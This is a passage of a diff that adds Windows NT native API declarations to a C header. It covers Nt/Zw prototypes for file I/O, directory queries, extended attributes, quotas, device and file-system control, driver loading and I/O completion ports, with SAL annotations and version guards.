IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// QueryFlags values for NtQueryDirectoryFileEx +#define FILE_QUERY_RESTART_SCAN 0x00000001 +#define FILE_QUERY_RETURN_SINGLE_ENTRY 0x00000002 +#define FILE_QUERY_INDEX_SPECIFIED 0x00000004 +#define FILE_QUERY_RETURN_ON_DISK_ENTRIES_ONLY 0x00000008 +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_QUERY_NO_CURSOR_UPDATE 0x00000010 +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, // Valid flags are in SL_QUERY_DIRECTORY_MASK + _In_opt_ PUNICODE_STRING FileName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, + _In_opt_ PUNICODE_STRING FileName +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_reads_bytes_opt_((8 + (4 * ((SID*)StartSid)->SubAuthorityCount))) // SeLengthSid() + PSID StartSid, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +#ifndef _KERNEL_MODE +// private +typedef enum _DIRECTORY_NOTIFY_INFORMATION_CLASS +{ + DirectoryNotifyInformation = 1, // FILE_NOTIFY_INFORMATION + DirectoryNotifyExtendedInformation = 2 // FILE_NOTIFY_EXTENDED_INFORMATION +} DIRECTORY_NOTIFY_INFORMATION_CLASS, * PDIRECTORY_NOTIFY_INFORMATION_CLASS; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +// +// I/O completion port +// + +#ifndef IO_COMPLETION_QUERY_STATE +#define IO_COMPLETION_QUERY_STATE 0x0001 +#endif + +#ifndef IO_COMPLETION_MODIFY_STATE +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#endif + +#ifndef IO_COMPLETION_ALL_ACCESS +#define IO_COMPLETION_ALL_ACCESS (IO_COMPLETION_QUERY_STATE|IO_COMPLETION_MODIFY_STATE|STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) +#endif + +typedef enum _IO_COMPLETION_INFORMATION_CLASS +{ + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef struct _IO_COMPLETION_BASIC_INFORMATION +{ + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, * PIO_COMPLETION_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID* KeyContext, + _Out_ PVOID* ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID* KeyContext, + _Out_ PVOID* ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable +); +#endif + +// +// Wait completion packet +// + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI 